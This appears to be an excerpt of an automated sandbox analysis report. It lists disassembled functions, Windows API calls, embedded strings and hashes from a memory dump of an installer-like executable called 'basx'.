                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Paint$BeginClipExcludeRectRestoreSave
                                                                                          • String ID:
                                                                                          • API String ID: 3808407030-0
                                                                                          • Opcode ID: ad781fe6fb59047a66b80eb53a3f65b2019eba16d1c733f202b60e39d660354f
                                                                                          • Instruction ID: 8164e3b37c2b38cc39b91ef4074089abf19b8963c3e0e5cbd12a4ce3d65b1abe
                                                                                          • Opcode Fuzzy Hash: ad781fe6fb59047a66b80eb53a3f65b2019eba16d1c733f202b60e39d660354f
                                                                                          • Instruction Fuzzy Hash: A1415070A002049FCB14DBA9C585FAA77F9FF48304F1540AEE8459B362D778DD81CB58
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: b6913cb722474124f75cff2ee5949f067bbdde1b56a592e148b6496e85af3d5a
                                                                                          • Instruction ID: a833d86c80f2fb81cba799e3b93fc1891ddf3ebdd98a67124a25423b7ab76754
                                                                                          • Opcode Fuzzy Hash: b6913cb722474124f75cff2ee5949f067bbdde1b56a592e148b6496e85af3d5a
                                                                                          • Instruction Fuzzy Hash: 563132746057809FC320EF69C984B9BB7E8AF89354F04491EF9D5C3752C638E8818F19
                                                                                          APIs
                                                                                          • SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 00429808
                                                                                          • SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 00429837
                                                                                          • SendMessageA.USER32(00000000,000000C1,00000000,00000000), ref: 00429853
                                                                                          • SendMessageA.USER32(00000000,000000B1,00000000,00000000), ref: 0042987E
                                                                                          • SendMessageA.USER32(00000000,000000C2,00000000,00000000), ref: 0042989C
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: MessageSend
                                                                                          • String ID:
                                                                                          • API String ID: 3850602802-0
                                                                                          • Opcode ID: 399f588db94bb8b810bf5b46e1237ea7bfd7cbebe0e15a3dbf36720fb68daebb
                                                                                          • Instruction ID: 8b65b0e689063cc909dba6714575951256d1ad54ff8cece17fd29570ea6901c2
                                                                                          • Opcode Fuzzy Hash: 399f588db94bb8b810bf5b46e1237ea7bfd7cbebe0e15a3dbf36720fb68daebb
                                                                                          • Instruction Fuzzy Hash: 6E219D707107057BEB10AB62DC82F5B7AECAB41708F54443EB501AB2D2DFB8AE418228
                                                                                          APIs
                                                                                          • GetSystemMetrics.USER32(0000000B), ref: 0041BBCA
                                                                                          • GetSystemMetrics.USER32(0000000C), ref: 0041BBD4
                                                                                          • GetDC.USER32(00000000), ref: 0041BC12
                                                                                          • CreateDIBitmap.GDI32(00000000,?,00000004,?,?,00000000), ref: 0041BC59
                                                                                          • DeleteObject.GDI32(00000000), ref: 0041BC9A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: MetricsSystem$BitmapCreateDeleteObject
                                                                                          • String ID:
                                                                                          • API String ID: 1095203571-0
                                                                                          • Opcode ID: d6ecec59309c4539c21f746b1d4641e0a999657a412e1d938322a226e3514674
                                                                                          • Instruction ID: 2a907a32995036c4e239f44386a828d3a2f1e7d44945ead90e55d18394f4d4ff
                                                                                          • Opcode Fuzzy Hash: d6ecec59309c4539c21f746b1d4641e0a999657a412e1d938322a226e3514674
                                                                                          • Instruction Fuzzy Hash: 5D315C70E00208EFDB04DFA5C941AAEB7F5EB48700F2084AAF514AB781D7789E40DB98
                                                                                          APIs
                                                                                            • Part of subcall function 0045D04C: SetLastError.KERNEL32(00000057,00000000,0045D118,?,?,?,?,00000000), ref: 0045D0B7
                                                                                          • GetLastError.KERNEL32(00000000,00000000,00000000,004736AC,?,?,0049C1E0,00000000), ref: 00473665
                                                                                          • GetLastError.KERNEL32(00000000,00000000,00000000,004736AC,?,?,0049C1E0,00000000), ref: 0047367B
                                                                                          Strings
                                                                                          • Failed to set permissions on registry key (%d)., xrefs: 0047368C
                                                                                          • Could not set permissions on the registry key because it currently does not exist., xrefs: 0047366F
                                                                                          • Setting permissions on registry key: %s\%s, xrefs: 0047362A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorLast
                                                                                          • String ID: Could not set permissions on the registry key because it currently does not exist.$Failed to set permissions on registry key (%d).$Setting permissions on registry key: %s\%s
                                                                                          • API String ID: 1452528299-4018462623
                                                                                          • Opcode ID: 2cd14b75b874af61ac3d45831295ca4897b993e1bd4af745d48f10d6dc1171d0
                                                                                          • Instruction ID: ad6b00cc897a6d1501f3fc6a2a631de3da5dc8c6e7b4eccdfad28332e4495c63
                                                                                          • Opcode Fuzzy Hash: 2cd14b75b874af61ac3d45831295ca4897b993e1bd4af745d48f10d6dc1171d0
                                                                                          • Instruction Fuzzy Hash: A121C870A046445FCB10DFA9C8826EEBBE4DF49319F50817BE408E7392D7785E098B6D
                                                                                          APIs
                                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
                                                                                          • SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9
                                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403CFC
                                                                                          • SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00403D06
                                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403D15
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ByteCharMultiWide$AllocString
                                                                                          • String ID:
                                                                                          • API String ID: 262959230-0
                                                                                          • Opcode ID: dcd45591e65b03bd276bb2a5b0fabad56ebf76f0c081827c2345b0a7b763a240
                                                                                          • Instruction ID: 657f84db466bd1c54801a2b30447fc2084338491f8142acf58a262d5883cef98
                                                                                          • Opcode Fuzzy Hash: dcd45591e65b03bd276bb2a5b0fabad56ebf76f0c081827c2345b0a7b763a240
                                                                                          • Instruction Fuzzy Hash: FCF0A4917442043BF21025A65C43F6B198CCB82B9BF50053FB704FA1D2D87C9D04427D
                                                                                          APIs
                                                                                          • SelectPalette.GDI32(00000000,00000000,00000000), ref: 00414419
                                                                                          • RealizePalette.GDI32(00000000), ref: 00414421
                                                                                          • SelectPalette.GDI32(00000000,00000000,00000001), ref: 00414435
                                                                                          • RealizePalette.GDI32(00000000), ref: 0041443B
                                                                                          • ReleaseDC.USER32(00000000,00000000), ref: 00414446
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Palette$RealizeSelect$Release
                                                                                          • String ID:
                                                                                          • API String ID: 2261976640-0
                                                                                          • Opcode ID: c9c8aa66f6917016d7555c0ac5b3df2d15848593dde74026b2272496f15e705b
                                                                                          • Instruction ID: 3cc421e061c7a323c9855e33cbe13bf4890882f9e8533d15179bd5f7679f66d2
                                                                                          • Opcode Fuzzy Hash: c9c8aa66f6917016d7555c0ac5b3df2d15848593dde74026b2272496f15e705b
                                                                                          • Instruction Fuzzy Hash: A2018F7520C3806AE600A63D8C85A9F6BED9FCA718F15446EF495DB282DA7AC8018765
                                                                                          APIs
                                                                                            • Part of subcall function 0041F074: GetActiveWindow.USER32 ref: 0041F077
                                                                                            • Part of subcall function 0041F074: GetCurrentThreadId.KERNEL32 ref: 0041F08C
                                                                                            • Part of subcall function 0041F074: EnumThreadWindows.USER32(00000000,Function_0001F050), ref: 0041F092
                                                                                            • Part of subcall function 004231A8: GetSystemMetrics.USER32(00000000), ref: 004231AA
                                                                                          • OffsetRect.USER32(?,?,?), ref: 00424DC9
                                                                                          • DrawTextA.USER32(00000000,00000000,000000FF,?,00000C10), ref: 00424E8C
                                                                                          • OffsetRect.USER32(?,?,?), ref: 00424E9D
                                                                                            • Part of subcall function 00423564: GetCurrentThreadId.KERNEL32 ref: 00423579
                                                                                            • Part of subcall function 00423564: SetWindowsHookExA.USER32(00000003,00423520,00000000,00000000), ref: 00423589
                                                                                            • Part of subcall function 00423564: CreateThread.KERNEL32(00000000,000003E8,004234D0,00000000,00000000), ref: 004235AD
                                                                                            • Part of subcall function 00424B2C: SetTimer.USER32(00000000,00000001,?,004234B4), ref: 00424B47
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Thread$CurrentOffsetRectWindows$ActiveCreateDrawEnumHookMetricsSystemTextTimerWindow
                                                                                          • String ID: vLB
                                                                                          • API String ID: 1477829881-1797516613
                                                                                          • Opcode ID: af4d35ceb7da7411f9a909d8da5f62e109762c4c9dbecdeb02cfa42cc05a337b
                                                                                          • Instruction ID: 1a85cd152e58b5c2614c87f396891e2b5808bef0cf689969089b0637ec596c27
                                                                                          • Opcode Fuzzy Hash: af4d35ceb7da7411f9a909d8da5f62e109762c4c9dbecdeb02cfa42cc05a337b
                                                                                          • Instruction Fuzzy Hash: C5812675A003188FCB14DFA8D880ADEBBF4FF88314F50416AE905AB296E738AD45CF44
                                                                                          APIs
                                                                                          • WNetGetUniversalNameA.MPR(00000000,00000001,?,00000400), ref: 00407003
                                                                                          • WNetOpenEnumA.MPR(00000001,00000001,00000000,00000000,?), ref: 0040707D
                                                                                          • WNetEnumResourceA.MPR(?,FFFFFFFF,?,?), ref: 004070D5
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Enum$NameOpenResourceUniversal
                                                                                          • String ID: Z
                                                                                          • API String ID: 3604996873-1505515367
                                                                                          • Opcode ID: a9e747af3270ad6827a26b5e12e82ea9da9777e5f51a79d453bfa0d7b97e4fbe
                                                                                          • Instruction ID: 78f4b6eea80f90a9c0d6dbacb1000d6f5057f9b0a0312f2c839bfa0eabc808a5
                                                                                          • Opcode Fuzzy Hash: a9e747af3270ad6827a26b5e12e82ea9da9777e5f51a79d453bfa0d7b97e4fbe
                                                                                          • Instruction Fuzzy Hash: 14516470E04208AFDB11DF95C951AAFBBB9EF09304F1045BAE500BB3D1D778AE458B5A
                                                                                          APIs
                                                                                          • SetRectEmpty.USER32(?), ref: 0044D04E
                                                                                          • DrawTextA.USER32(00000000,00000000,00000000,?,00000D20), ref: 0044D079
                                                                                          • DrawTextA.USER32(00000000,00000000,00000000,00000000,00000800), ref: 0044D101
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: DrawText$EmptyRect
                                                                                          • String ID:
                                                                                          • API String ID: 182455014-2867612384
                                                                                          • Opcode ID: 9cefa38d4a8adbc35dceb9fbd70f94003a2f7c245499b58eac7a7a86e34dc042
                                                                                          • Instruction ID: ac611c4ae9e9b4e435f74cd3b872a097dcdbbef8ea8fa2dc8c743a2ef399c877
                                                                                          • Opcode Fuzzy Hash: 9cefa38d4a8adbc35dceb9fbd70f94003a2f7c245499b58eac7a7a86e34dc042
                                                                                          • Instruction Fuzzy Hash: 18517171E00248AFDB11DFA5C885BDEBBF8BF48308F18447AE845EB252D7789945CB64
                                                                                          APIs
                                                                                          • GetDC.USER32(00000000), ref: 0042EF9E
                                                                                            • Part of subcall function 0041A1E8: CreateFontIndirectA.GDI32(?), ref: 0041A2A7
                                                                                          • SelectObject.GDI32(?,00000000), ref: 0042EFC1
                                                                                          • ReleaseDC.USER32(00000000,?), ref: 0042F0A0
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateFontIndirectObjectReleaseSelect
                                                                                          • String ID: ...\
                                                                                          • API String ID: 3133960002-983595016
                                                                                          • Opcode ID: 174dea87e3c77845355dc2bffde9c2636390ac865bcfddee608935e642ca7c05
                                                                                          • Instruction ID: de545d42c11d103cbad381cc3223c2b5efa9fdb4a6e9ae4bb0445229962d8c70
                                                                                          • Opcode Fuzzy Hash: 174dea87e3c77845355dc2bffde9c2636390ac865bcfddee608935e642ca7c05
                                                                                          • Instruction Fuzzy Hash: 5A316370B00128AFDB11EB96D841BAEB7F8EB09348F90447BE410A7392D7785E49CA59
                                                                                          APIs
                                                                                          • GetClassInfoA.USER32(00400000,?,?), ref: 0041647F
                                                                                          • UnregisterClassA.USER32(?,00400000), ref: 004164AB
                                                                                          • RegisterClassA.USER32(?), ref: 004164CE
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Class$InfoRegisterUnregister
                                                                                          • String ID: @
                                                                                          • API String ID: 3749476976-2766056989
                                                                                          • Opcode ID: 32c7bff64fe8078beb5c73cee1a3f36bf3645a98757bc26b4be27a2261280048
                                                                                          • Instruction ID: c77080f262680b7bd3c4c6a37e0a11d074b1995aa9dd52ebf92fb76dd285a693
                                                                                          • Opcode Fuzzy Hash: 32c7bff64fe8078beb5c73cee1a3f36bf3645a98757bc26b4be27a2261280048
                                                                                          • Instruction Fuzzy Hash: B8316D702042409BD720EF69C981B9B77E5AB89308F04457FF949DB392DB39DD44CB6A
                                                                                          APIs
                                                                                          • GetFileAttributesA.KERNEL32(00000000,00498B60,00000000,00498306,?,?,00000000,0049B628), ref: 00498280
                                                                                          • SetFileAttributesA.KERNEL32(00000000,00000000,00000000,00498B60,00000000,00498306,?,?,00000000,0049B628), ref: 004982A9
                                                                                          • MoveFileExA.KERNEL32(00000000,00000000,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 004982C2
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: File$Attributes$Move
                                                                                          • String ID: isRS-%.3u.tmp
                                                                                          • API String ID: 3839737484-3657609586
                                                                                          • Opcode ID: 6425da845d9cf075168c9006b2f4cde8adeeb665172db9fe24e9d2d56fbf6a76
                                                                                          • Instruction ID: fc33356634acd7bce8b4c2965ae56e8bcff63ef6fc68eceab8a95db248f88364
                                                                                          • Opcode Fuzzy Hash: 6425da845d9cf075168c9006b2f4cde8adeeb665172db9fe24e9d2d56fbf6a76
                                                                                          • Instruction Fuzzy Hash: 0B216471E00609ABCF10EFA9C8819AFBBB8AF45714F10457FB814B72D1DB389E018A59
                                                                                          APIs
                                                                                          • MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00404DC5
                                                                                          • ExitProcess.KERNEL32 ref: 00404E0D
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ExitMessageProcess
                                                                                          • String ID: Error$Runtime error at 00000000
                                                                                          • API String ID: 1220098344-2970929446
                                                                                          • Opcode ID: 4aa0907dffceb0697d192a833af99b379258e6819ee5eddde657f3822e72bbb6
                                                                                          • Instruction ID: e2df0dcbf1ce8e07228a8ae3c957e3f7be2bf5582065763199918d440bd3f461
                                                                                          • Opcode Fuzzy Hash: 4aa0907dffceb0697d192a833af99b379258e6819ee5eddde657f3822e72bbb6
                                                                                          • Instruction Fuzzy Hash: 8E219560A442414ADB11A779BA8571B3B91D7E5348F04817BE710A73E3C77C8C4487ED
                                                                                          APIs
                                                                                            • Part of subcall function 0042C804: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C828
                                                                                            • Part of subcall function 00403CA4: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
                                                                                            • Part of subcall function 00403CA4: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9
                                                                                          • LoadTypeLib.OLEAUT32(00000000,00000000), ref: 00456C50
                                                                                          • RegisterTypeLib.OLEAUT32(00000000,00000000,00000000), ref: 00456C7D
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Type$AllocByteCharFullLoadMultiNamePathRegisterStringWide
                                                                                          • String ID: LoadTypeLib$RegisterTypeLib
                                                                                          • API String ID: 1312246647-2435364021
                                                                                          • Opcode ID: 99adc2ab1761f2fa15f1ac99c5dc87c93e60f5f8f6cafab150dd189b668492eb
                                                                                          • Instruction ID: 3ed1135b8019c5f4588910a0035f5c9e1cabb82a18fedb82429c118dce795412
                                                                                          • Opcode Fuzzy Hash: 99adc2ab1761f2fa15f1ac99c5dc87c93e60f5f8f6cafab150dd189b668492eb
                                                                                          • Instruction Fuzzy Hash: 2911B430B00604AFDB02EFA6CD51A5EB7BDEB89705F5184B6FC44D3752DA389904CA24
                                                                                          APIs
                                                                                          • SendMessageA.USER32(00000000,00000B06,00000000,00000000), ref: 0045716E
                                                                                          • SendMessageA.USER32(00000000,00000B00,00000000,00000000), ref: 0045720B
                                                                                          Strings
                                                                                          • Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x), xrefs: 0045719A
                                                                                          • Failed to create DebugClientWnd, xrefs: 004571D4
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: MessageSend
                                                                                          • String ID: Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x)$Failed to create DebugClientWnd
                                                                                          • API String ID: 3850602802-3720027226
